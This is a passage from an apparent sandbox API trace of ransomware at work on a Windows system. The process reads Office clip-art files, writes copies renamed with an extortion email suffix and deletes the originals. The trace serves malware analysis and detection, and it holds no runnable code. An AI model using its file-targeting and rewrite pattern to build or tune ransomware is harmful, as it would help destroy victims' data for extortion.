	[0197.391] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0197.391] lstrlenW (lpString=".ppt") returned 4
	[0197.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.391] lstrlenW (lpString=".zip") returned 4
	[0197.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.392] lstrlenW (lpString=".rar") returned 4
	[0197.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString=".bz2") returned 4
	[0197.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString=".7z") returned 3
	[0197.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString=".dbf") returned 4
	[0197.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString=".1cd") returned 4
	[0197.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString=".jpg") returned 4
	[0197.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString=".doc") returned 4
	[0197.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString=".docx") returned 5
	[0197.392] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0197.392] lstrlenW (lpString=".pdf") returned 4
	[0197.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString=".xls") returned 4
	[0197.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.392] lstrlenW (lpString=".xlsx") returned 5
	[0197.392] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0197.392] lstrlenW (lpString=".ppt") returned 4
	[0197.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.392] lstrlenW (lpString=".zip") returned 4
	[0197.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.393] lstrlenW (lpString=".rar") returned 4
	[0197.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.393] lstrlenW (lpString=".bz2") returned 4
	[0197.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.393] lstrlenW (lpString=".7z") returned 3
	[0197.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.393] lstrlenW (lpString=".dbf") returned 4
	[0197.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.393] lstrlenW (lpString=".1cd") returned 4
	[0197.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0197.393] lstrlenW (lpString=".jpg") returned 4
	[0197.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.393] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.393] lstrlenW (lpString="J0107328.WMF") returned 12
	[0197.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.394] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=6532) returned 1
	[0197.394] CloseHandle (hObject=0x510) returned 1
	[0197.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220
	[0197.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0197.394] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.395] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0197.395] GetLastError () returned 0x0
	[0197.395] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1984, lpOverlapped=0x0) returned 1
	[0197.648] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1990, lpOverlapped=0x0) returned 1
	[0197.649] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.650] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.650] SetEndOfFile (hFile=0x5ec) returned 1
	[0197.798] CloseHandle (hObject=0x5ec) returned 1
	[0197.798] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.798] SetEndOfFile (hFile=0x510) returned 1
	[0197.800] CloseHandle (hObject=0x510) returned 1
	[0197.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1
	[0198.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString=".doc") returned 4
	[0198.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString=".docx") returned 5
	[0198.071] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.071] lstrlenW (lpString=".pdf") returned 4
	[0198.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString=".xls") returned 4
	[0198.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.071] lstrlenW (lpString=".xlsx") returned 5
	[0198.071] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.071] lstrlenW (lpString=".ppt") returned 4
	[0198.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString=".zip") returned 4
	[0198.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.071] lstrlenW (lpString=".rar") returned 4
	[0198.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString=".bz2") returned 4
	[0198.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString=".7z") returned 3
	[0198.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString=".dbf") returned 4
	[0198.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString=".1cd") returned 4
	[0198.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString=".jpg") returned 4
	[0198.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.072] lstrlenW (lpString=".doc") returned 4
	[0198.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString=".docx") returned 5
	[0198.072] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.072] lstrlenW (lpString=".pdf") returned 4
	[0198.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString=".xls") returned 4
	[0198.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.072] lstrlenW (lpString=".xlsx") returned 5
	[0198.072] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.072] lstrlenW (lpString=".ppt") returned 4
	[0198.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.072] lstrlenW (lpString=".zip") returned 4
	[0198.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.072] lstrlenW (lpString=".rar") returned 4
	[0198.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString=".bz2") returned 4
	[0198.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString=".7z") returned 3
	[0198.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.072] lstrlenW (lpString=".dbf") returned 4
	[0198.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.072] lstrlenW (lpString=".1cd") returned 4
	[0198.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0198.072] lstrlenW (lpString=".jpg") returned 4
	[0198.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.073] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.073] lstrlenW (lpString="J0107446.WMF") returned 12
	[0198.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.073] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=30336) returned 1
	[0198.073] CloseHandle (hObject=0x460) returned 1
	[0198.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220
	[0198.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.074] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.074] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.075] GetLastError () returned 0x0
	[0198.075] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x7680, lpOverlapped=0x0) returned 1
	[0198.089] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x7690, lpOverlapped=0x0) returned 1
	[0198.091] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.091] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.091] SetEndOfFile (hFile=0x514) returned 1
	[0198.091] CloseHandle (hObject=0x514) returned 1
	[0198.091] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.091] SetEndOfFile (hFile=0x460) returned 1
	[0198.094] CloseHandle (hObject=0x460) returned 1
	[0198.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1
	[0198.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.095] lstrlenW (lpString=".doc") returned 4
	[0198.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.096] lstrlenW (lpString=".docx") returned 5
	[0198.096] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.096] lstrlenW (lpString=".pdf") returned 4
	[0198.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.096] lstrlenW (lpString=".xls") returned 4
	[0198.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.096] lstrlenW (lpString=".xlsx") returned 5
	[0198.096] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.096] lstrlenW (lpString=".ppt") returned 4
	[0198.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.096] lstrlenW (lpString=".zip") returned 4
	[0198.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.096] lstrlenW (lpString=".rar") returned 4
	[0198.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.096] lstrlenW (lpString=".bz2") returned 4
	[0198.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.096] lstrlenW (lpString=".7z") returned 3
	[0198.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.096] lstrlenW (lpString=".dbf") returned 4
	[0198.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString=".1cd") returned 4
	[0198.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString=".jpg") returned 4
	[0198.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString=".doc") returned 4
	[0198.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString=".docx") returned 5
	[0198.097] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.097] lstrlenW (lpString=".pdf") returned 4
	[0198.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString=".xls") returned 4
	[0198.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.097] lstrlenW (lpString=".xlsx") returned 5
	[0198.097] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.097] lstrlenW (lpString=".ppt") returned 4
	[0198.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString=".zip") returned 4
	[0198.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.097] lstrlenW (lpString=".rar") returned 4
	[0198.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString=".bz2") returned 4
	[0198.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.097] lstrlenW (lpString=".7z") returned 3
	[0198.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.097] lstrlenW (lpString=".dbf") returned 4
	[0198.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.098] lstrlenW (lpString=".1cd") returned 4
	[0198.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0198.098] lstrlenW (lpString=".jpg") returned 4
	[0198.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.098] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.098] lstrlenW (lpString="J0107450.WMF") returned 12
	[0198.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.099] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4920) returned 1
	[0198.099] CloseHandle (hObject=0x460) returned 1
	[0198.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220
	[0198.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0198.099] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.099] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.100] GetLastError () returned 0x0
	[0198.100] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1338, lpOverlapped=0x0) returned 1
	[0198.112] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1340, lpOverlapped=0x0) returned 1
	[0198.113] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.113] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.113] SetEndOfFile (hFile=0x514) returned 1
	[0198.113] CloseHandle (hObject=0x514) returned 1
	[0198.114] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.114] SetEndOfFile (hFile=0x460) returned 1
	[0198.116] CloseHandle (hObject=0x460) returned 1
	[0198.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1
	[0198.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68
	[0198.117] lstrlenW (lpString=".doc") returned 4
	[0198.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.117] lstrlenW (lpString=".docx") returned 5
	[0198.117] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0198.117] lstrlenW (lpString=".pdf") returned 4
	[0198.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.118] lstrlenW (lpString=".xls") returned 4
	[0198.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.118] lstrlenW (lpString=".xlsx") returned 5
	[0198.118] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0198.118] lstrlenW (lpString=".ppt") returned 4
